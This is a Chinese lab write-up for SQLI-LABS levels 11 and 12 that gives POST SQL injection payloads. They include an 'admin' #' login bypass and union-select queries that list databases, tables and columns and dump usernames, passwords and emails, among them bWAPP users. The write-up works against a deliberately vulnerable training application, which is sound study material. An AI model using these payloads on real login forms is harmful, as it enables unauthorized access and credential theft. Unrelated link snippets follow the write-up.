SQLI-LABS(Less-11、12)
Less-11(POST-Error Based-Single Quotes-String)
打开Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。
万能密码
那么先尝试一下万能密码登录,用户名:admin' #、密码随便填一个:

从上图可以看出登陆成功,并且会回显账号和密码。
其他方法
判断注入
先随便尝试一个账号密码,uname=name & passwd=pass

显示登录失败,接着修改post包,加入引号看是否会报错.

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号。到此可以发现SQL语句的报错会显示在前端页面。
判断当前数据表列数
注入语句:uname=name' order by 1# & passwd=pass

当尝试到uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

判断回显位
注入语句:uname=name' union select 1,2 # & passwd=pass

判断数用户名和据库名
注入语句:uname=name' union select user(),database() # & passwd=pass

通过上述注入可以得知,当前数据库名为security,当前用户为root,接着找出这个数据库中的所有数据表。
确定当前数据库内表名
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass

通过上述注入可以得知当前数据库中存在emails、referers、uagents、users四张数据表。
确定users表中列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass

通过上述注入可以得知users表中存在三列,分别为id、username、password。
确定users表中的用户名和密码
注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

到此,就得到了当前表中所有的用户名和密码。
跨数据库注入
通过上面的步骤可以看到当前用户是root用户,那么可以尝试爆其他数据库中的信息。
确定当前服务器上有哪些数据库
注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass

通过上述注入可以得知当前服务器中的数据库由:information_schema、bWAPP、challenges、dvwa、mysql、performance_schema、security、test
确定bWAPP数据库中的数据表
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass

上图中可以看出在bWAPP库中的表分别是blog,heroes,movies,users,visitors。
确定users数据库中的列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

可以看到users表中的列名为:id,login,password,email,secret,activation_code,activated,reset_code,admin。
确定users表中的邮箱和密码
注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug。
Less-12(POST-Error Based-Double Quotes-String-with twist)
通过注入uname=name" & passwd=pass发现SQL闭合符号为"),其余操作均与第11关相同。
确定回显位,其余操作不再赘述:

SQLI-LABS(Less-11、12)的更多相关文章
- 阅读<构建之法>第三10、11、12章并提出问题
<构建之法>第10.11.12章 第10章: 问题:对我们了解了用户的需求后,但是我们想法和做出来的软件会和用户的需求有偏差,比如风格.界面的修饰等等,那么我们程序猿怎样才能让自己的想法更 ...
- 第11、12章等待方法和alter框处理
11.等待方法 time sleep webdriver implicitly_wait() 设置浏览器等待时间 WebDriverWait 等待条件满足或超时后退出 12.alter对话框处理 ...
- 阅读<构建之法>第三10、11、12章
第10章:典型用户和场景 阅读了第10章之后,我知道典型用户很重要,典型用户是某类群体的代表,他们的观点能够反映一类人的观点与对产品的要求,那么要怎么样才能够从一类群体里,选择正确的典型用户反映我们研 ...
- JavaScript高级程序设计(第三版)学习笔记11、12、17章
章, DOM扩展 选择符 API Selector API Level1核心方法querySelector .querySelectorAll,兼容的浏览器可以使用 Document,Element ...
- <构建之法>第11、12章
第11章软件设计与实现 主要讲了典型的开发流程和开发阶段的一些管理方法 问题: 从spec道实现是代码的实现吗? 第12章 用户体验 主要讲了用户体验的各种角度和认识阻力登 问题: 用户的体验是设计前 ...
- 阅读<构建之法>第10、11、12章
第10章 典型用户和场景 10.2 规格说明书 10.3 功能驱动的设计 问题:怎样写好spec?功能驱动设计的功能设计阶段怎样实现一个具体的功能? 第11章 软件设计与实现 11.2开发阶段的日常管 ...
- VMware Workstation Pro 11、12 密钥
11:1F04Z-6D111-7Z029-AV0Q4-3AEH8 12:5A02H-AU243-TZJ49-GTC7K-3C61N
- TW实习日记:第11、12天
这两天其实都在做一件事,项目组组长丢了个需求下来,要求完成一个百度地图api的页面.原本以为和之前写微信接口的类似,没想到这次问题这么多.并且在写代码的时候和组长交流不畅导致心情也很差,深刻的反思了一 ...
- 求出1~13的整数中1出现的次数,并算出100~1300的整数中1出现的次数?为此他特别数了一下1~13中包含1的数字有1、10、11、12、13因此共出现6次,但是对于后面问题他就没辙了。ACMer希望你们帮帮他,并把问题更加普遍化,可以很快的求出任意非负整数区间中1出现的次数。
// test20.cpp : 定义控制台应用程序的入口点. // include "stdafx.h" include include include include inclu ...
- <构建之法>第三10、11、12章
第十章 典型用户和场景 问题:如何更准确知道用户的需求是什么,设计出满足用户的软件? 第十一章 软件设计与实现 问题:软件设计过程中,如何管理设计变更? 第十二章 用户体验 问题:在何时开始设计用户体 ...
随机推荐
- 【架构师视角系列】QConfig配置中心系列之架构设计(一)
目录 声明 配置中心系列文章 一.架构 基础模型 架构图 架构分层 运行规则 模块划分 Admin模块 Client模块 Server模块 二.总结 三.最后 声明 原创文章,转载请标注.https: ...
- centos7搭建postgresql主从(主备)架构
本篇介绍如何在centos7系统搭建一个postgresql主备集群实现最近的HA(高可用)架构.后续更高级的HA模式都是基于这个最基本的主备搭建. 节点规划 ip 主机名 用途 192.168.18 ...
- Spring Boot图书管理系统项目实战-4.基础信息管理
导航: pre: 3.用户登录 next:5.读者管理 只挑重点的讲,具体的请看项目源码. 1.项目源码 需要源码的朋友,请捐赠任意金额后留下邮箱发送:) 2.页面设计 出版社管理.语种管理.书架管 ...
- GYM-A. Golden Spirit等
1.题目链接:Problem - A - Codeforces 题意:桥两边有2 * n个不能独立过桥的老人,老人想到对面休息 re 分钟后返回原位置,每次过桥需要花费 cr 分钟,问最少需要多长时间 ...
- 一个有意思的问题:Kafka的消费Offset会溢出吗
最近在项目上接入公司APP产品的用户点击日志数据时,发现消费者组的Offset值非常大,才一天的时间,已提交的Offset值就有千亿级别了. 于是不禁想了一个问题:假设一个Topic就只有一个Part ...
- cookie和localStorage和sessionStorage的区别
cookie和localStorage和sessionStorage的区别 下面从几个方向区分一下 cookie,localStorage,sessionStorage 的区别 生命周期: cooki ...
- centos8.x阿里源配置
>>> cd /etc/yum.repo.d >>> mkdir bak >>> mv *.repo bak/ >>> cd b ...
- django中一些快捷函数
1.get_object_or_404() 接收两个参数,参数1为模型类,参数2为查询参数 查询到对象则返回对象,查询不到则返回http404,但是不会返回模型的DoesNotExist异常 示例: ...
- 【LeetCode回溯算法#09】全排列,排列问题以及其中涉及的去重操作
全排列 力扣题目链接 给定一个不含重复数字的数组 nums ,返回其 所有可能的全排列 .你可以 按任意顺序 返回答案. 示例 1: 输入:nums = [1,2,3] 输出:[[1,2,3],[1, ...
- 矩池云如何自定义端口,访问自己的web项目
本文将给您介绍如何在矩池云租用服务器的时候自定义端口,并将您的 web 项目部署到自定义端口,最后实现在本地通过自定义端口对应链接访问服务. 上传代码和数据 首先,您需要将本地的项目代码和数据上传到矩 ...